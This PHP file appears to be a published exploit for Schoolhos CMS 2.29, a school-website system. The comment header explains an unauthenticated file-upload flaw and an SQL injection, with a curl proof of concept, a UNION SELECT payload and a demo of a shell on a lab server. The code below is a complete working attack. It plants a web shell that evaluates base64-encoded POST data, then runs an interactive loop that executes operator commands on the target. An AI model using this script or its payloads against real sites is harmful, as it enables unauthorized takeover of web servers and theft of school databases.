<?php
/*
Software : Schoolhos CMS 2.29
Home : http://www.schoolhos.com/
Author : Ahmed sultan (0x4148)
Email : 0x4148@gmail.com
Home : 0x4148.com
 
Intro
Schoolhos CMS is alternative to developing School Website. It's Free and Open Source under GPL License. Easy to install, user friendly and elegant design.
 
Schoolhos is vulnerable to unauthenticated remote code execution vulnerability , Unauthenticated sql injection flaws
 
I - Remote code execution
    File : process.php
    Line : 42
    elseif ($pilih=='guru' AND $untukdi=='upload'){
    $lokasi_file = $_FILES['fupload']['tmp_name'];
    $nama_file   = $_FILES['fupload']['name'];
        UploadMateri($nama_file);
     
    File : file_uplaod.php
    Line : 9
    function UploadMateri($fupload_name){
      //direktori file dari halaman e-elarning
      $vdir_upload = "../file/materi/";
      $vfile_upload = $vdir_upload . $fupload_name;
 
      move_uploaded_file($_FILES["fupload"]["tmp_name"], $vfile_upload);
    }
     
    POC
    curl -i -s -k  -X 'POST' \
    -H 'Content-Type: multipart/form-data; boundary=---------------------------26518470919255' \
    --data-binary $'-----------------------------26518470919255\x0d\x0aContent-Disposition: form-data; name=\"fupload\"; filename=\"0x4148.php\"\x0d\x0aContent-Type: application/x-httpd-php\x0d\x0a\x0d\x0a<?php die(\"0x4148 rule\"); ?>\x0d\x0a-----------------------------26518470919255\x0d\x0a\x0d\x0a' \
    'http://HOST/PATH/elearningku/proses.php?pilih=guru&untukdi=upload'
     
    php file can be ccessed via : http://HOST/PATH/file/materi/0x4148.php
 
II - Unauthenticated sql injection
 
    File : elearningku/download.php
    Line 6
    $file=mysql_query("SELECT * FROM sh_materi WHERE id_materi='$_GET[id]'");
    $r=mysql_fetch_array($file);
    $filename=$r[file_materi];
 
      header("Content-Type: octet/stream");
      header("Pragma: private"); 
      header("Expires: 0");
      header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
      header("Cache-Control: private",false); 
      header("Content-Type: $ctype");
      header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
      header("Content-Transfer-Encoding: binary");
      header("Content-Length: ".filesize($dir.$filename));
      readfile("$dir$filename");
 
    POC : versi_2.29/elearningku/download.php?id=-1' union select 1,version(),3,4,5,6,7,8-- -
    DB version will be showed as filename
 
Script is really full of injection flaws , mentioning all of it is such waste of time
 
Full exploitation Demo
~0x4148fo# php scho.php http://192.168.0.50/lab/scho/versi_2.29/
[*] Schoolhos CMS 2.29 Remote command execution
[*] Author : Ahmed sultan (0x4148)
[*] Connect : 0x4148.com | 0x4148@gmail.com
 
 + Sending payload to http://192.168.0.50/lab/scho/versi_2.29/
 + Payload sent successfully
 
0x4148@http://192.168.0.50/lab/scho/versi_2.29/# dir
 Volume in drive C is OS_Install
 Volume Serial Number is D60F-0795
 
 Directory of C:\xampp\htdocs\lab\scho\versi_2.29\file\materi
 
11/13/2016  02:03 AM    <DIR>          .
11/13/2016  02:03 AM    <DIR>          ..
11/13/2016  02:03 AM                47 0x4148.php
11/30/2011  06:56 PM             8,522 aku.php
11/29/2011  02:02 AM                74 Alar Reproduksi.rar
11/29/2011  02:03 AM                74 albert.rar
11/29/2011  08:25 PM            12,326 ari.png
11/29/2011  08:27 PM            12,318 ari.rar
11/29/2011  06:57 PM                74 cerita.rar
11/29/2011  08:24 PM                 0 contoh.txt
11/29/2011  02:05 AM                74 dos.rar
11/29/2011  02:01 AM                74 English1.rar
12/12/2011  11:13 AM               117 index.html
11/29/2011  02:10 AM                74 kekebalantubuh.rar
11/29/2011  02:11 AM                74 masa jenis.rar
11/29/2011  02:14 AM                74 office.rar
11/29/2011  02:06 AM                74 paragraf.rar
11/29/2011  02:04 AM                74 pemanasan.rar
11/29/2011  02:00 AM                74 polakalimat.rar
11/29/2011  02:15 AM                74 prepare.rar
11/29/2011  02:13 AM                74 proklamator.rar
11/29/2011  02:12 AM                74 sea games.rar
11/29/2011  02:05 AM                74 soekarno.rar
11/29/2011  02:09 AM                74 speaking.rar
11/29/2011  02:15 AM                74 ulangan INDO.rar
11/29/2011  02:11 AM                74 volume.rar
              24 File(s)         34,662 bytes
               2 Dir(s)  38,197,485,568 bytes free
 
0x4148@http://192.168.0.50/lab/scho/versi_2.29/# exit
 
~0x4148fo#
 
*/
$host=$argv[1];
$target="$host/elearningku/proses.php?pilih=guru&untukdi=upload";
echo "[*] Schoolhos CMS 2.29 Remote command execution\n";
echo "[*] Author : Ahmed sultan (0x4148)\n";
echo "[*] Connect : 0x4148.com | 0x4148@gmail.com\n\n";
echo " + Sending payload to $host\n";
fwrite(fopen("0x4148.php","w+"),'<?php eval(base64_decode($_POST["0x4148"])); ?>');
$x4148upload = curl_init(); 
curl_setopt($x4148upload, CURLOPT_URL, $target);
curl_setopt($x4148upload, CURLOPT_USERAGENT, "mozilla");
curl_setopt($x4148upload, CURLOPT_POST, 1);
curl_setopt($x4148upload, CURLOPT_RETURNTRANSFER, true);
curl_setopt($x4148upload, CURLOPT_POSTFIELDS,array("fupload"=>"@".realpath("0x4148.php")));
curl_setopt($x4148upload, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($x4148upload, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($x4148upload);
curl_close($x4148upload);
$x4148request=curl_init();
curl_setopt($x4148request,CURLOPT_RETURNTRANSFER,1);
curl_setopt($x4148request,CURLOPT_URL,$host."/file/materi/0x4148.php");
curl_setopt($x4148request, CURLOPT_POSTFIELDS,"0x4148=".base64_encode("echo '0x4148fo';"));
curl_setopt($x4148request, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($x4148request, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($x4148request,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($x4148request,CURLOPT_TIMEOUT,20);
curl_setopt($x4148request, CURLOPT_HEADER, true); 
$outp=curl_exec($x4148request);
curl_close($x4148request);
if(!preg_match("#0x4148fo#",$outp)){
echo " - Failed :(\n";
die();
}
echo " + Payload sent successfully\n\n";
while(0<1){
echo "0x4148@$host# ";
$command=trim(fgets(STDIN));
if($command=='exit'){
die();
}
$x4148request=curl_init();
curl_setopt($x4148request,CURLOPT_RETURNTRANSFER,1);
curl_setopt($x4148request,CURLOPT_URL,$host."/file/materi/0x4148.php");
curl_setopt($x4148request, CURLOPT_POSTFIELDS,"0x4148=".urlencode(base64_encode("echo '>>>>>';system('$command');echo '>>>>>';")));
curl_setopt($x4148request, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($x4148request, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($x4148request,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($x4148request,CURLOPT_TIMEOUT,20);
curl_setopt($x4148request, CURLOPT_HEADER, true); 
$outp=curl_exec($x4148request);
curl_close($x4148request);
echo explode(">>>>>",$outp)[1]."\n";
}
?>